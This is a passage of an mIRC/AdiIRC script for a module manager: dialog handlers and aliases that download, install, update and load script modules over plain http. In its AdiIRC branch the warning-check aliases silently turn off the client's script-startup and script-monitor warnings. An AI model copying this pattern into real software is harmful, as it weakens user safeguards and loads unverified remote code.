  578.     did -ra $dname 1 $wmm_lang(1)
  579.     did -ra $dname 2 $wmm_lang(3)
  580.     did -ra $dname 3 $wmm_lang(2)
  581.     did -ra $dname 7 $wmm_lang(4)
  582.     did -ra $dname 11 $wmm_lang(5)
  583.     did -ra $dname 12 $wmm_lang(6)
  584.     did -ra $dname 4 $wmm_lang(7)
  585.     did -ra $dname 13 $wmm_lang(8)
  586.     did -ra $dname 9 $wmm_lang(9)
  587.     did -ra $dname 17 $wmm_lang(10)
  588.     did -o $dname 10 $wmm_lang(11)
  589.     did -o $dname 18 $wmm_lang(12)
  590.     did -o $dname 19 $wmm_lang(13)
  591.     did -o $dname 20 $wmm_lang(14)
  592.     did -o $dname 21 $wmm_lang(30)
  593.     did -o $dname 22 $wmm_lang(15)
  594.     did -o $dname 24 $wmm_lang(45) $chr(38) $+ $chr(38) $wmm_lang(46)
  595.     did -o $dname 27 $wmm_lang(79)
  596.     did -ra $dname 5 v $+ $wmm_ver
  597.     did -ra $dname 25 $wmm_lang(57)
  598.     did -ra $dname 26 $wmm_lang(61)
  599.     wmm_tool -et
  600.     .timer[WMM_GET_MODULES_LIST] -ho 1 500 wmm_modules_list
  601.   }
  602.   if ($devent == rclick) {
  603.     if ($did == 14) {
  604.       var %h = WMM_MODULES
  605.       var %url = $gettok($hget(%h,$did(6).seltext $+ _images),1,44)
  606.       if (!%url) { var %url = $gettok($hget(%h,$did(60).seltext $+ _images),1,44) }
  607.       if (!%url) { var %url = $gettok($hget(%h,$did(600).seltext $+ _images),1,44) }
  608.       if (%url) { url %url }
  609.     }
  610.     if ($did == 15) {
  611.       var %h = WMM_MODULES
  612.       var %url = $gettok($hget(%h,$did(6).seltext $+ _images),2,44)
  613.       if (!%url) { var %url = $gettok($hget(%h,$did(60).seltext $+ _images),2,44) }
  614.       if (!%url) { var %url = $gettok($hget(%h,$did(600).seltext $+ _images),2,44) }
  615.       if (%url) { url %url }
  616.     }
  617.     if ($did == 16) {
  618.       var %h = WMM_MODULES
  619.       var %url = $gettok($hget(%h,$did(6).seltext $+ _images),3,44)
  620.       if (!%url) { var %url = $gettok($hget(%h,$did(60).seltext $+ _images),3,44) }
  621.       if (!%url) { var %url = $gettok($hget(%h,$did(600).seltext $+ _images),3,44) }
  622.       if (%url) { url %url }
  623.     }
  624.     if ($did == 28) {
  625.       var %h = WMM_MODULES
  626.       var %m = $did(6).seltext
  627.       if (!%m) { var %m = $did(60).seltext }
  628.       if (!%m) { var %m = $did(600).seltext }
  629.       var %path = $wmm_getpath(%m)
  630.       var %extra_id = $hget(%h,%m $+ _extra_id)
  631.       if (!%m) || (!%path) || (!%extra_id) { did -h $dname 28 | return }
  632.       url $wmm_extraid_url(%extra_id)
  633.     }
  634.   }
  635.   if ($devent == dclick) {
  636.     if ($did == 6) || ($did == 600) {
  637.       var %m = $did($did).seltext
  638.       if (!%m) { return }
  639.       var %h = WMM_MODULES
  640.       var %extra_id = $hget(%h,%m $+ _extra_id)
  641.       if (%extra_id) { url $wmm_extraid_url(%extra_id) }
  642.     }
  643.     if ($did == 60) {
  644.       var %m = $did($did).seltext
  645.       if (!%m) { return }
  646.       var %h = WMM_MODULES
  647.       var %chk_sets_alias = $right($replace($hget(%h,%m $+ _check_version_alias),_ver,_sets),-1)
  648.       if (%chk_sets_alias) && ($isalias(%chk_sets_alias)) { $evalnext(%chk_sets_alias) }
  649.     }
  650.   }
  651.   if ($devent == sclick) {
  652.     :sclick
  653.     if ($did == 23) { url $wmm_donate }
  654.     if ($did == 2) {
  655.       did -hu $dname 11,12,13,6,60,600,250
  656.       did -v $dname 7,6
  657.       wmm_reset_images
  658.       wmm_modules_installed_plus_updated_list
  659.     }
  660.     if ($did == 3) {
  661.       if ($json(wmm_modules_list_get)) { did -f $dname 2 | return }
  662.       did -hu $dname 7,13,6,60,600,250
  663.       did -v $dname 11,12,60
  664.       wmm_reset_images
  665.       wmm_modules_installed_plus_updated_list
  666.     }
  667.     if ($did == 4) {
  668.       if ($json(wmm_modules_list_get)) { did -f $dname 2 | return }
  669.       did -hu $dname 7,11,12,6,60,600,250
  670.       did -v $dname 13,600
  671.       wmm_reset_images
  672.       wmm_modules_installed_plus_updated_list
  673.     }
  674.     if ($did == 600) {
  675.       var %h = WMM_MODULES
  676.       var %m = $did($did).seltext
  677.       var %path = $wmm_getpath(%m)
  678.       if (!%m) || (!%path) { wmm_reset_images | wmm_modules_installed_plus_updated_list | return }
  679.       did -rh $dname 250
  680.  
  681.       var %f_ico = $nofile(%path) $+ $replace($right($hget(%h,%m $+ _check_version_alias),-1),_ver,_main.ico)
  682.       if ($isfile(%f_ico)) && ($file(%f_ico)) { did -vg $dname 28 $qt(%f_ico) }
  683.       else { did -h $dname 28 }
  684.  
  685.       wmm_reset_images -i %m
  686.  
  687.       var %h = WMM_MODULES
  688.       var %chk_chan = $hget(%h,%m $+ _channel)
  689.       if (%chk_chan) && (%chk_chan !== STABLE) { did -b $dname 13 | did -e $dname 8 }
  690.       else { did -e $dname 13,8 }
  691.  
  692.       var %chk_ver = $hget(%h,%m $+ _check_version_alias)
  693.       var %chk_crdate = $replace(%chk_ver,_ver,_crdate)
  694.       var %upver = $hget(%h,%m $+ _version)
  695.       var %upcrdate = $hget(%h,%m $+ _crdate)
  696.       var %ver = $iif($isalias($right(%chk_ver,-1)),$evalnext(%chk_ver),0)
  697.       var %old_crdate = $iif($isalias($right(%chk_crdate,-1)),$evalnext(%chk_crdate),0)
  698.       var %changelog = $hget(%h,%m $+ _changelog)
  699.  
  700.       did -r $dname 8
  701.       did -a $dname 8 $wmm_lang(54) $+ : $iif(%ver,$v1,N/A) - $iif(%old_crdate,$v1,N/A) $+ $crlf
  702.       did -a $dname 8 $wmm_lang(55) $+ : $iif(%upver,$v1,N/A) - $iif(%upcrdate,$v1,N/A) $+ $+ $crlf $crlf
  703.       did -a $dname 8 $wmm_lang(83) $+ : $+ $crlf
  704.       did -a $dname 8 $replace(%changelog,@newline@,$+ $+ $crlf $+ $+)
  705.       did -c $dname 8 1 1
  706.     }
  707.     if ($did == 6) {
  708.       var %h = WMM_MODULES
  709.       var %m = $did($did).seltext
  710.       if (!%m) { did -b $dname 7 | return }
  711.       var %path = $wmm_getpath(%m)
  712.       var %f_ico = $nofile(%path) $+ $replace($right($hget(%h,%m $+ _check_version_alias),-1),_ver,_main.ico)
  713.       if ($isfile(%f_ico)) && ($file(%f_ico)) { did -vg $dname 28 $qt(%f_ico) }
  714.       else { did -h $dname 28 }
  715.  
  716.       var %desc_temp = $wmm_lang(80) $+ : $hget(%h,%m $+ _version) $+ @newline@ $+ $wmm_lang(81) $+ : $hget(%h,%m $+ _crdate) $+ @newline@ $+ $wmm_lang(82) $+ : $hget(%h,%m $+ _author) $+ @newline@@newline@ $+ $wmm_lang(83) $+ :@newline@ $hget(%h,%m $+ _changelog) $+ @newline@@newline@ $+ $wmm_lang(84) $+ :@newline@ $hget(%h,%m $+ _desc) $+ @newline@@newline@ $+ $wmm_lang(85) $+ :@newline@ $hget(%h,%m $+ _examples)
  717.  
  718.       did -re $dname 8
  719.       did -a $dname 8 $replace(%desc_temp,@newline@,$+ $+ $crlf $+ $+)
  720.       did -c $dname 8 1 1
  721.  
  722.       if (!%path) { did -e $dname 7 }
  723.       elseif (%path) { did -b $dname 7 }
  724.  
  725.       var %chan = $hget(%h,%m $+ _channel)
  726.       if (%chan) && (%chan !== STABLE) { did -b $dname 7 }
  727.  
  728.       wmm_reset_images -i %m
  729.     }
  730.     if ($did == 60) || (%did_60) {
  731.       var %h = WMM_MODULES
  732.       var %m = $did(60).seltext
  733.       var %path = $wmm_getpath(%m)
  734.       if (!%m) || (!%path) { wmm_modules_installed_plus_updated_list | return }
  735.       did -ve $dname 11,12,8
  736.       did -r $dname 8
  737.  
  738.       wmm_reset_images -i %m
  739.  
  740.       if ($didwm(600,%m)) { did -h $dname 28 | did -vra $dname 250 $wmm_lang(86) }
  741.       else {
  742.         did -hr $dname 250
  743.         var %f_ico = $nofile(%path) $+ $replace($right($hget(%h,%m $+ _check_version_alias),-1),_ver,_main.ico)
  744.         if ($isfile(%f_ico)) && ($file(%f_ico)) { did -vg $dname 28 $qt(%f_ico) }
  745.         else { did -h $dname 28 }
  746.       }
  747.  
  748.       var %chk_ver_alias = $right($hget(%h,%m $+ _check_version_alias),-1)
  749.       var %chk_owner_alias = $replace(%chk_ver_alias,_ver,_owner)
  750.       var %chk_crdate_alias = $replace(%chk_ver_alias,_ver,_crdate)
  751.       var %f = $isalias(%chk_ver_alias).fname
  752.       var %ft = $nopath($isalias(%chk_ver_alias).ftype)
  753.  
  754.       var %ver = $iif($isalias(%chk_ver_alias),$evalnext($chr(36) $+ %chk_ver_alias),0)
  755.       var %chan = $hget(%h,%m $+ _channel)
  756.       var %crdate = $evalnext($chr(36) $+ %chk_crdate_alias)
  757.  
  758.       var %line1 = $wmm_lang(47) $+ : $iif(%ver,$v1,N/A) $+ $crlf $wmm_lang(60) $+ : $iif(%chan,$v1,N/A) $+ $crlf $wmm_lang(48) $+ : $iif(%crdate,$v1,N/A) $+ $crlf $wmm_lang(64) $+ : $iif(%f,$nopath($v1),N/A) $+ $crlf
  759.       did -a $dname 8 %line1
  760.  
  761.       var %owner = $evalnext($chr(36) $+ %chk_owner_alias)
  762.       var %size = $bytes($file(%f).size).suf
  763.       var %lines = $lines(%f)
  764.       var %md5 = $iif($isfile(%f) && (%lines),$md5(%f,2),0)
  765.  
  766.       var %line2 = $wmm_lang(49) $+ : $iif(%owner,$v1,N/A) $+ $crlf $wmm_lang(53) $+ : $iif(%lines,$v1,N/A) $+ $crlf $wmm_lang(50) $+ : $iif(%size,$v1,N/A) $+ $crlf $wmm_lang(56) $+ : $iif(%md5,$v1,N/A) $+ $crlf $wmm_lang(52) $+ : $iif($isfile(%f) && (%lines),$longfn(%f),N/A)
  767.       did -a $dname 8 %line2
  768.       did -c $dname 8 1 1
  769.     }
  770.     if ($did == 12) {
  771.       if ($wmm_check_initial_warn) { wmm_input error 60 $wmm_lang(33) | return }
  772.       if ($wmm_check_monitor_warn) { wmm_input error 60 $wmm_lang(75) | return }
  773.       var %h = WMM_MODULES
  774.       var %m = $did(60).seltext
  775.       var %path = $wmm_getpath(%m)
  776.       var %pos = $wmm_getpos(%m)
  777.       var %mod = $nopath(%path)
  778.       if (!%m) || (!%path) || (!%pos) || (!%mod) { wmm_reset_images | wmm_modules_installed_plus_updated_list | return }
  779.  
  780.       var %chk_ver = $hget(%h,%m $+ _check_version_alias)
  781.       var %chk_id_name = $remove(%chk_ver,_ver,$chr(36))
  782.       if (%chk_id_name) {
  783.         hfree -w %chk_id_name $+ _*
  784.         unset % $+ $evalnext(%chk_id_name) $+ _*
  785.         .timer[ $+ %chk_id_name $+ _*] off
  786.       }
  787.  
  788.       set -eu0 %wmm_signal_noclose 1
  789.       .unload -nrs $qt(%mod)
  790.       .load -rs $+ %pos $qt(%path)
  791.  
  792.       wmm_modules_installed_plus_updated_list
  793.       wmm_reset_images
  794.       wmm_input ok 60 $wmm_lang(34)
  795.     }
  796.     if ($did == 11) {
  797.       var %m = $did(60).seltext
  798.       var %path = $wmm_getpath(%m)
  799.       if (!%m) || (!%path) { wmm_reset_images | wmm_modules_installed_plus_updated_list | return }
  800.       var %mod = $nopath(%path)
  801.  
  802.       set -eu0 %wmm_signal_noclose 1
  803.       .unload -rs $qt(%mod)
  804.       if ($isfile(%path)) { .remove $qt(%path) }
  805.  
  806.       wmm_modules_installed_plus_updated_list
  807.       wmm_reset_images
  808.       wmm_input ok 60 $wmm_lang(36)
  809.     }
  810.     if ($did == 7) {
  811.       if ($wmm_check_initial_warn) { wmm_input error 60 $wmm_lang(33) | return }
  812.       if ($wmm_check_monitor_warn) { wmm_input error 60 $wmm_lang(75) | return }
  813.       if (!$wmm_internet) { wmm_input error 60 $wmm_lang(44) | return }
  814.       var %h = WMM_MODULES
  815.       var %m = $did(6).seltext
  816.       var %path = $wmm_getpath(%m)
  817.       var %url = $hget(%h,%m $+ _url)
  818.       if (!%m) || (%path) || (!%url) { did -b $dname 7 | did -u $dname 6 | wmm_reset_images | wmm_modules_installed_plus_updated_list | return }
  819.  
  820.       var %tools_ver = $hget(%h,%m $+ _tools_ver)
  821.       if (%tools_ver) && ($wmm_ver < %tools_ver) { wmm_input error 60 $wmm_lang(63) | return }
  822.  
  823.       did -b $dname 6,7
  824.  
  825.       var %mod = %m $+ .mrc
  826.       var %f = $wmm_dir $+ modules $+ \ $+ %mod
  827.       if (!$isdir($nofile(%f))) { mkdir $qt($nofile(%f)) }
  828.  
  829.       if ($wmm_isadi) { .timer[WMM_MOD_INSTALL_ $+ %mod $+ ] -ho 1 500 download -o wmm_mod_install %url $qt(%f) }
  830.       else { .timer[WMM_MOD_INSTALL_ $+ %mod $+ ] -ho 1 500 wmm_download $qt(wmm_mod_install %mod) %url $qt(%f) }
  831.     }
  832.     if ($did == 13) {
  833.       if ($wmm_check_initial_warn) { wmm_input error 60 $wmm_lang(33) | return }
  834.       if ($wmm_check_monitor_warn) { wmm_input error 60 $wmm_lang(75) | return }
  835.       if (!$wmm_internet) { wmm_input error 60 $wmm_lang(44) | return }
  836.       var %h = WMM_MODULES
  837.       var %m = $did(600).seltext
  838.       var %path = $wmm_getpath(%m)
  839.       if (!%m) || (!%path) { wmm_reset_images | wmm_modules_installed_plus_updated_list | return }
  840.  
  841.       var %tools_ver = $hget(%h,%m $+ _tools_ver)
  842.       if (%tools_ver) && ($wmm_ver < %tools_ver) { wmm_input error 60 $wmm_lang(63) | return }
  843.  
  844.       var %url = $hget(%h,%m $+ _url)
  845.       var %mod = $nopath(%path)
  846.       var %pos = $wmm_getpos(%m)
  847.       var %f = $wmm_dir $+ modules $+ \ $+ %mod
  848.       if (!$isdir($nofile(%f))) { mkdir $qt($nofile(%f)) }
  849.  
  850.       var %chk_sets $right($replace($hget(%h,%m $+ _check_version_alias),_ver,_sets),-1)
  851.       wmm_d_close %chk_sets
  852.  
  853.       if ($wmm_isadi) { .timer[WMM_MOD_UPDATE_ $+ %mod $+ ] -ho 1 500 download -o wmm_mod_update %url $qt(%f) }
  854.       else { .timer[WMM_MOD_UPDATE_ $+ %mod $+ ] -ho 1 500 wmm_download $qt(wmm_mod_update %mod %pos) %url $qt(%f) }
  855.     }
  856.     if ($did == 14) {
  857.       var %m = $did(6).seltext
  858.       if (!%m) { var %m = $did(60).seltext }
  859.       if (!%m) { var %m = $did(600).seltext }
  860.       var %f = $wmm_temp $+ $nopath(%m $+ 1.png)
  861.       if ($isfile(%f)) && ($file(%f)) { wmm_pic $qt(%f) }
  862.     }
  863.     if ($did == 15) {
  864.       var %m = $did(6).seltext
  865.       if (!%m) { var %m = $did(60).seltext }
  866.       if (!%m) { var %m = $did(600).seltext }
  867.       var %f = $wmm_temp $+ $nopath(%m $+ 2.png)
  868.       if ($isfile(%f)) && ($file(%f)) { wmm_pic $qt(%f) }
  869.     }
  870.     if ($did == 16) {
  871.       var %m = $did(6).seltext
  872.       if (!%m) { var %m = $did(60).seltext }
  873.       if (!%m) { var %m = $did(600).seltext }
  874.       var %f = $wmm_temp $+ $nopath(%m $+ 3.png)
  875.       if ($isfile(%f)) && ($file(%f)) { wmm_pic $qt(%f) }
  876.     }
  877.     if ($did == 28) {
  878.       if (%did_60) { return }
  879.       var %h = WMM_MODULES
  880.       var %m = $did(6).seltext
  881.       if (!%m) { var %m = $did(60).seltext }
  882.       if (!%m) { var %m = $did(600).seltext }
  883.       var %path = $wmm_getpath(%m)
  884.       if (!%m) || (!%path) { did -h $dname 28 | return }
  885.  
  886.       if ($dialog($dname).tab == 3) {
  887.         var %chk_sets_alias = $right($replace($hget(%h,%m $+ _check_version_alias),_ver,_sets),-1)
  888.         if (%chk_sets_alias) && ($isalias(%chk_sets_alias)) { $evalnext(%chk_sets_alias) }
  889.         return
  890.       }
  891.  
  892.       did -hu $dname 6,600
  893.       did -vu $dname 60
  894.       did -r $dname 8,250
  895.       did -h $dname 28
  896.       did -v $dname 11,12
  897.       did -ra $dname 9 $wmm_lang(59)
  898.  
  899.       did -f $dname 3
  900.       did -c $dname 60 $didwm(60,%m)
  901.  
  902.       set -eu0 %did_60 1
  903.       goto $devent
  904.     }
  905.   }
  906.   if ($devent == menu) {
  907.     if ($did == 27) { url $wmm_modules_url }
  908.     if ($did == 18) { url $wmm_page }
  909.     if ($did == 24) { url $wmm_donate }
  910.     if ($did == 22) { dialog -k $dname }
  911.     if ($did == 21) { .timer -ho 1 500 wmm | dialog -k $dname }
  912.     if ($did == 19) { .timer -ho 1 100 wmm_sets | dialog -k $dname }
  913.     if ($did == 20) { wmm_input ok 60 $wmm_lang(27) $upper($wmm_owner) $wmm_lang(16) v $+ $wmm_ver $wmm_lang(28) $wmm_crdate $wmm_lang(29) $wmm_owner }
  914.   }
  915.   if ($devent == close) {
  916.     wmm_w_close @wmm_pic
  917.     wmm_tool -bt
  918.  
  919.     if ($json(wmm_modules_list_get)) && ($hget(WMM_MODULES_SUBMENU_INSTALLED,0).item !== $json(wmm_modules_list_get,modules).length) { wmm_modules_menu_get_installed -g }
  920.  
  921.     jsonclose -w wmm_modules_*
  922.     .timer[WMM_*] off
  923.     if ($hget(WMM_MODULES)) { hfree $v1 }
  924.   }
  925.   return
  926.   :error | wmm_werror $scriptline $error | reseterror
  927. }
  928.  
  929. ; --- End of events ---
  930.  
  931. ; --- Start of aliases ---
  932.  
  933. alias wmm_ver { return $right($gettok($read($script,n,$iif($right($script,4) == .ini && !$wmm_isadi,7,6)),3,32),3) }
  934. alias wmm_crdate { return $remove($gettok($read($script,n,$iif($right($script,4) == .ini && !$wmm_isadi,7,6)),5,32),$chr(40),$chr(41)) }
  935. alias wmm_owner { return $+($chr(119),$chr(101),$chr(115),$chr(116),$chr(111),$chr(114)) }
  936. alias wmm_page { return http:// $+ $wmm_owner $+ .ucoz.com/load/wmm/1-1-0-24 }
  937. alias wmm_donate { return https://paypal.me/ $+ $wmm_owner }
  938. alias wmm_extraid_url { return http:// $+ $wmm_owner $+ .ucoz.com/load/wmm/ $+ $1 }
  939. alias wmm_modules_url { return http:// $+ $wmm_owner $+ .ucoz.com/load/1 }
  940. alias wmm_sets_url { return http:// $+ $wmm_owner $+ .ucoz.com/wmm/ $+ $+($chr(109),$chr(111),$chr(100),$chr(117),$chr(108),$chr(101),$chr(115),$chr(46),$chr(106),$chr(115),$chr(111),$chr(110)) }
  941. alias wmm_sets_file { return $wmm_temp $+ wmm.json }
  942. alias wmm_main_ico_url { return http:// $+ $wmm_owner $+ .ucoz.com/wmm/images/main.ico }
  943. alias wmm_main_png_url { return http:// $+ $wmm_owner $+ .ucoz.com/wmm/images/no_preview.png }
  944. alias wmm_donate_png_url { return http:// $+ $wmm_owner $+ .ucoz.com/wmm/images/donate.png }
  945. alias wmm_lang_url { return http:// $+ $wmm_owner $+ .ucoz.com/wmm/languages/wmm_lang.ini }
  946. alias wmm_modules_images_url { return http:// $+ $wmm_owner $+ .ucoz.com/wmm/images/wmm_modules_images.zip }
  947.  
  948. alias wmm {
  949.   if ($isid) || ($wmm_error) || ($timer([WMM_OPEN_AND_DO_NOTHING])) { return }
  950.   var %d = wmm_module
  951.   wmm_d_close wmm_module_sets
  952.   if (!$dialog(%d)) { .timer[WMM_*] off | .timer[WMM_OPEN_AND_DO_NOTHING] -ho 1 5000 noop }
  953.   if (%wmm_update) { wmm_tool -b | return }
  954.   if ($dialog(%d)) { wmm_tool -e | dialog -ve %d %d | return }
  955.   wmm_dl $wmm_sets_url $qt($wmm_sets_file)
  956.   wmm_check_update -m
  957.   if (%wmm_update) { return }
  958.   var %don = $wmm_dir $+ donate.png
  959.   var %ico = $wmm_dir $+ main.ico
  960.   var %png = $wmm_dir $+ no_preview.png
  961.   var %lng = $wmm_dir $+ wmm_lang.ini
  962.   var %vbs = $wmm_temp $+ wmm_dl_images.vbs
  963.   var %txt = $wmm_temp $+ wmm_images_urls.txt
  964.   if ($isfile(%vbs)) && (!$wmm_isadi) { .remove $qt(%vbs) }
  965.   if ($isfile(%txt)) && (!$wmm_isadi) { .remove $qt(%txt) }
  966.   if (!$isfile(%lng)) || (!$isfile(%ico)) || (!$isfile(%png)) || (!$isfile(%don)) || (!$file(%lng)) || (!$file(%ico)) || (!$file(%png)) || (!$file(%don)) { var %delay = 1 }
  967.   wmm_fix_extra_modules_installed
  968.   if (%delay) {
  969.     if (!$wmm_internet) { wmm_input error 60 There are missing some several required project files and you must be connected to internet in order to continue for downloading them! | return }
  970.     .timer[WMM_CHECK_BEFORE_OPEN] -ho 1 5000 wmm_check_before_open %d
  971.     wmm_input warn 3 Downloading some missing project required files...
  972.     wmm_dl $wmm_lang_url $qt(%lng)
  973.     wmm_dl $wmm_main_ico_url $qt(%ico)
  974.     wmm_dl $wmm_main_png_url $qt(%png)
  975.     wmm_dl $wmm_donate_png_url $qt(%don)
  976.   }
  977.   elseif (!%delay) { dialog -md %d %d }
  978.   return
  979.   :error | wmm_werror $scriptline $error | reseterror
  980. }
  981.  
  982. alias wmm_sets {
  983.   if ($isid) || ($wmm_error) { return }
  984.   var %d = wmm_module_sets
  985.   wmm_d_close wmm_module
  986.   if ($dialog(%d)) { wmm_tool -e | dialog -ve %d %d | return }
  987.   if (%wmm_update) { wmm_tool -b | return }
  988.   .timer[WMM_*] off
  989.   wmm_dl $wmm_sets_url $qt($wmm_sets_file)
  990.   wmm_check_update -n
  991.   if (%wmm_update) { return }
  992.   var %don = $wmm_dir $+ donate.png
  993.   var %ico = $wmm_dir $+ main.ico
  994.   var %png = $wmm_dir $+ no_preview.png
  995.   var %lng = $wmm_dir $+ wmm_lang.ini
  996.   if (!$isfile(%lng)) || (!$isfile(%ico)) || (!$isfile(%png)) || (!$isfile(%don)) || (!$file(%lng)) || (!$file(%ico)) || (!$file(%png)) || (!$file(%don)) { var %delay = 1 }
  997.   wmm_fix_extra_modules_installed
  998.   if (%delay) {
  999.     if (!$wmm_internet) { wmm_input error 60 There are missing some several required project files and you must be connected to internet in order to continue for downloading them! | return }
  1000.     .timer[WMM_SETS_CHECK_BEFORE_OPEN] -ho 1 5000 wmm_check_before_open %d
  1001.     wmm_input warn 3 Downloading some missing project required files...
  1002.     wmm_dl $wmm_lang_url $qt(%lng)
  1003.     wmm_dl $wmm_main_ico_url $qt(%ico)
  1004.     wmm_dl $wmm_main_png_url $qt(%png)
  1005.     wmm_dl $wmm_donate_png_url $qt(%don)
  1006.   }
  1007.   elseif (!%delay) { dialog -md %d %d }
  1008.   return
  1009.   :error | wmm_werror $scriptline $error | reseterror
  1010. }
  1011.  
  1012. alias -l wmm_check_before_open {
  1013.   if (!$1) || ($dialog($1)) { return }
  1014.   var %lng = $wmm_dir $+ wmm_lang.ini
  1015.   var %don = $wmm_dir $+ donate.png
  1016.   var %ico = $wmm_dir $+ main.ico
  1017.   var %png = $wmm_dir $+ no_preview.png
  1018.   if (!$isfile(%lng)) || (!$file(%lng)) { wmm_input error 60 FATAL ERROR! @newline@ @newline@ $+ Error Code: 0x001 | return }
  1019.   if (!$isfile(%don)) || (!$file(%don)) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x022 | return }
  1020.   if (!$isfile(%ico)) || (!$file(%ico)) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x010 | return }
  1021.   if (!$isfile(%png)) || (!$file(%png)) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x016 | return }
  1022.   dialog -md $1 $1
  1023.   return
  1024.   :error | wmm_werror $scriptline $error | reseterror
  1025. }
  1026.  
  1027. alias wmm_check_version {
  1028.   if (!$isid) { return }
  1029.   if (!$wmm_isadi) && ($version < 7.49) { return This mIRC client version that you are using does NOT support the specific project, please download and use the latest version that is available on the mIRC official website! }
  1030.   if ($wmm_isadi) && ($version < 2.9) { return This AdiIRC client version that you are using does NOT support the specific project, please download and use the latest version that is available on the AdiiRC official website! }
  1031.   if ($wmm_isadi) && ($mid($~dotnet,2,1) < 2) { return Your computer .NET version seems to be old, in order to work that project you must download and install the latest .NET Runtime from the web, check more at AdiIRC "https://goo.gl/bQfVof" official download page. }
  1032.   var %js1 = $group(#SReject/JSONForMirc/Log).fname
  1033.   var %js2 = $group(#wmm).fname
  1034.   var %js3 = $gettok($isalias(jsonversion,3).alias,3,32)
  1035.   var %js4 = $jsonversion()
  1036.   if (%js1 !== %js2) || (%js3 !== %js4) || (%js4 !== 1.0.4000) { return It seems that you have already in your remotes installed the "JSONForMirc" addon, you must first remove that addon because that project already including that addon and it will have conflict issues if running both at the same time, try remove it and install the project again. }
  1037.   return 0
  1038.   return
  1039.   :error | wmm_werror $scriptline $error | reseterror
  1040. }
  1041.  
  1042. alias wmm_check_os {
  1043.   if (!$isid) { return }
  1044.   if ($wmm_isadi) && ($bits == 64) { var %adi64 = 1 }
  1045.   var %1 = CheckOS_1
  1046.   var %2 = CheckOS_2
  1047.   var %3 = CheckOS_3
  1048.   var %4 = CheckOS_4
  1049.   var %5 = CheckOS_5
  1050.   wmm_c_close %1
  1051.   wmm_c_close %2
  1052.   wmm_c_close %3
  1053.   wmm_c_close %4
  1054.   wmm_c_close %5
  1055.   .comopen %1 MSScriptControl.ScriptControl
  1056.   if (!$com(%1)) || ($comerr) { return This project cannot be used into this computer, the function "MSScriptControl.ScriptControl" didn't passed the check, that project is available only on Windows operating systems. }
  1057.   .comopen %2 WScript.Shell
  1058.   if (!$com(%2)) || ($comerr) { return This project cannot be used into this computer, the function "WScript.Shell" didn't passed the check, that project is available only on Windows operating systems. }
  1059.   .comopen %3 MSXML2.SERVERXMLHTTP.6.0
  1060.   if (!$com(%3)) || ($comerr) { return This project cannot be used into this computer, the function "MSXML2.SERVERXMLHTTP.6.0" didn't passed the check, that project is available only on Windows operating systems. }
  1061.   .comopen %4 Adodb.Stream
  1062.   if (!$com(%4)) || ($comerr) { return This project cannot be used into this computer, the function "Adodb.Stream" didn't passed the check, that project is available only on Windows operating systems. }
  1063.   if (%adi64) {
  1064.     .comopen %5 ScriptControl
  1065.     if (!$com(%5)) || ($comerr) { return This project cannot be used into this computer, the function "ScriptControl" didn't passed the check, that project is available only on Windows operating systems. }
  1066.  
  1067.     var %dll = $envvar(windir) $+ \System32\tsc64.dll
  1068.     if (!$isfile(%dll)) || (!$file(%dll)) { return It seems that missing an necessary DLL from your system while running under AdiIRC 64-bits, you have to install "tsc64.dll" from "https://goo.gl/4uNCPZ" website first and then try to install the project again. }
  1069.     if ($file(%dll).version < 1.0.8.0) { return It seems that the DLL "tsc64.dll" is outdated from your system, please update that dll to the latest version that is available on the website "https://goo.gl/4uNCPZ" and then try again to install that project. }
  1070.   }
  1071.   :error
  1072.   if ($error) { wmm_werror $scriptline $error }
  1073.   reseterror
  1074.   wmm_c_close %1
  1075.   wmm_c_close %2
  1076.   wmm_c_close %3
  1077.   wmm_c_close %4
  1078.   wmm_c_close %5
  1079.   return 0
  1080. }
  1081.  
  1082. alias wmm_check_initial_warn {
  1083.   if (!$isid) { return }
  1084.   if ($wmm_isadi) {
  1085.     .setconfig misc initscriptswarning false
  1086.     if ($readini($adiircini,n,misc,initscriptswarning) == true) { return 1 }
  1087.     else { return 0 }
  1088.   }
  1089.   if (!$wmm_isadi) && ($gettok($readini($mircini,n,options,n5),27,44)) { return 1 }
  1090.   return 0
  1091.   return
  1092.   :error | wmm_werror $scriptline $error | reseterror
  1093. }
  1094.  
  1095. alias wmm_check_monitor_warn {
  1096.   if (!$isid) { return }
  1097.   if ($wmm_isadi) {
  1098.     .setconfig misc monitorscripts false
  1099.     if ($readini($adiircini,n,misc,monitorscripts) == true) { return 1 }
  1100.     else { return 0 }
  1101.   }
  1102.   if (!$wmm_isadi) && ($gettok($readini($mircini,n,options,n7),13,44)) { return 1 }
  1103.   return 0
  1104.   return
  1105.   :error | wmm_werror $scriptline $error | reseterror
  1106. }
  1107.  
  1108. alias wmm_lang {
  1109.   var %f = $wmm_dir $+ wmm_lang.ini
  1110.   if (!%wmm_lang) { set %wmm_lang English }
  1111.   if (!$isfile(%f)) || (!$lines(%f)) || (!$isid) || (!$1) || ($1 !isnum) { return 0 }
  1112.   var %h = WMM_LANG_ $+ %wmm_lang
  1113.   if (!$hget(%h)) && ($ini(%f,%wmm_lang)) { hmake %h 1000 | hload -i %h $qt(%f) %wmm_lang }
  1114.   var %r = $hget(%h,$1)
  1115.   if (%r) { return %r }
  1116.   else { return N/A }
  1117.   return
  1118.   :error | wmm_werror $scriptline $error | reseterror
  1119. }
  1120.  
  1121. alias wmm_langs {
  1122.   var %f = $wmm_dir $+ wmm_lang.ini
  1123.   if (!$isid) || (!$isfile(%f)) || (!$lines(%f)) || (!$ini(%f,0)) { return 0 }
  1124.   if (!%wmm_lang) { set %wmm_lang English }
  1125.   var %t = $ini(%f,0)
  1126.   var %i = 1
  1127.   while (%i <= %t) {
  1128.     var %lng = $ini(%f,%i)
  1129.     if (%lng) { var %langs = $addtok(%langs,%lng,44) }
  1130.     inc %i
  1131.   }
  1132.   if (%langs) { return %langs }
  1133.   else { return 0 }
  1134.   return
  1135.   :error | wmm_werror $scriptline $error | reseterror
  1136. }
  1137.  
  1138. alias -l wmm_fix_extra_modules_installed {
  1139.  
  1140.   ; -e = it will fix any name or position errors related to WMM original state.
  1141.  
  1142.   if (!$script(0)) || ($isid) { return }
  1143.  
  1144.   if ($1) && ($1 == -e) {
  1145.     var %name = $nopath($script)
  1146.     var %org_name = $upper($wmm_owner) Module Manager.mrc
  1147.     var %new_name = $nofile($script) $+ %org_name
  1148.  
